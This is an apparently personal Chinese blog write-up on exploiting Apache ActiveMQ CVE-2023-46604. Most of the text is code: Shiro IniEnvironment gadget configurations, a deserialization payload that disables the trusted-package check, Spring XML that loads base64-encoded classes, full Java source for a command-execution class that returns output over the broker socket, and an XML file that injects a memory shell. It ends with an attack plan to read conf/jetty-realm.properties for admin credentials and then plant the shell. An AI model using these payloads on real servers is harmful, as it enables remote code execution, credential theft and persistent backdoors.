ActiveMQ依赖存在的getter
ActiveMQ依赖存在的getter
IniEnvironment分析
iniConfig
参数是shiro.ini
配置文件的内容
https://shiro.apache.org/configuration.html
[main]
user=com.just.User //别名=全类名
info=com.just.Info
user.info=$info //引用也会调用setter
user.info.username=anchor //会调用setter
user.info.password=123456 //会调用setter
类似于这种会调用getter
user.object.a=1
这样调用的是getObject
具体为什么会调用setter/getter就自己调试吧
会调用getter/setter就好办了
JdbcRowSetImpl
[main]
jdbc = com.sun.rowset.jdbcRowsetImpl
jdbc.dataSourceName ="ldap://localhost:1389/Exploit"
jdbc.autoCommit = true //调用setter
dbcp打BCEL
[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$....."
bds.connection.a = a //调用getConnection
类似getter/setter都可以
ActiveMQObjectMessage#getObject()存在反序列化漏洞
利用上面IniEnvironment调用getter
字节类型的属性可以通过 base64
来赋值或者十六编码来赋值
然后需要注意的就是修改 trustAllPackages
,不然会由于 activemq
默认存在反序列化黑名单,导致反序列化失败
由于自带shiro依赖,所以可以打cb链
[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZh.....
bs.length = 1376 //一定要有length
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x //调用getter
有回显exp
Hutt0n0/ActiveMqRCE: 用java实现构造openwire协议,利用activeMQ < 5.18.3 RCE 回显利用 内存马注入 (github.com)
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:spring="http://camel.apache.org/schema/spring"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
<bean id="base64Str" class="java.lang.String">
<constructor-arg>
<value>yv66vgAAADQAtgoAKgBhCABi...........</value>
</constructor-arg>
</bean>
<bean id="cmd" class="java.lang.String">
<constructor-arg value="ls"></constructor-arg>
</bean>
<bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('CMDResponse',T(org.springframework.util.Base64Utils).decodeFromString(base64Str.toString()),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance().test(cmd.toString())}">
</bean>
</beans>
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
public class CMDResponse {
public void test(String cmd) throws IOException {
String result = "";
String process = "";
String arg = "";
if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
process = "cmd.exe";
arg = "/c";
}else{
process = "/bin/sh";
arg = "-c";
}
try {
ProcessBuilder processBuilder = new ProcessBuilder(new String[]{process,arg,cmd});
Process start = processBuilder.start();
InputStream inputStream = start.getInputStream();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
int read = 0;
while ((read = inputStream.read()) != -1){
byteArrayOutputStream.write(read);
}
result = new String(byteArrayOutputStream.toByteArray());
}catch (Exception e){
result = e.getMessage();
}
//利用socket回显
try {
Thread thread = Thread.currentThread();
Class<?> aClass = Class.forName("java.lang.Thread");
Field target = aClass.getDeclaredField("target");
target.setAccessible(true);
org.apache.activemq.transport.tcp.TcpTransport transport = (org.apache.activemq.transport.tcp.TcpTransport)target.get(thread);
Class<?> aClass1 = Class.forName("org.apache.activemq.transport.tcp.TcpTransport");
Field socketfield = aClass1.getDeclaredField("socket");
socketfield.setAccessible(true);
java.net.Socket socket =(java.net.Socket) socketfield.get(transport);
OutputStream outputStream = socket.getOutputStream();
outputStream.write("\n".getBytes());
outputStream.write(result.getBytes());
outputStream.close();
}catch (Exception e){
}
}
}
能访问/admin才可以的内存马注入
出网加载xml,内容为内存马而不是反弹shell
activemq中间件是jetty,然后遍历线程
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:spring="http://camel.apache.org/schema/spring"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>
<bean id="ClassBase64Str" class="java.lang.String">
<constructor-arg value="yv66vgAAADQBuQoAVADvBwDwCwDxAPIIAPMKAPQ..........">
</constructor-arg>
</bean>
<bean class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemshellInject1',T(org.springframework.util.Base64Utils).decodeFromString(ClassBase64Str.toString()),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance().test1()}">
</bean>
</beans>
MemshellInject1看上面的github
利用IniEnvironment打回显马
Arlenhiack/ActiveMQ-RCE-Exploit: ActiveMQ RCE (CVE-2023-46604) 回显利用工具 (github.com)
就是把ClassPathXmlApplicationContext替换为IniEnvironment
然后内容为
[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZh.....
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x
cb链打的回显马需要使用到socket
嗯嗯,就这样
攻击思路
先通过有回显exp读取conf/jetty-realm.properties
文件,找到admin的账户密码
能够登陆后就可以打入内存马
reference
ActiveMQ CVE-2023-46604 不出网RCE | Bmth’s blog (bmth666.cn)
Arlenhiack/ActiveMQ-RCE-Exploit: ActiveMQ RCE (CVE-2023-46604) 回显利用工具 (github.com)
finally
有点绕,好乱
如果可以通过socket进行回显,那么为什么还要把他弄为xml文件,既然都是xml那就是要出网的
还有内存马如果不出网的话咋加载xml呢
?不太理解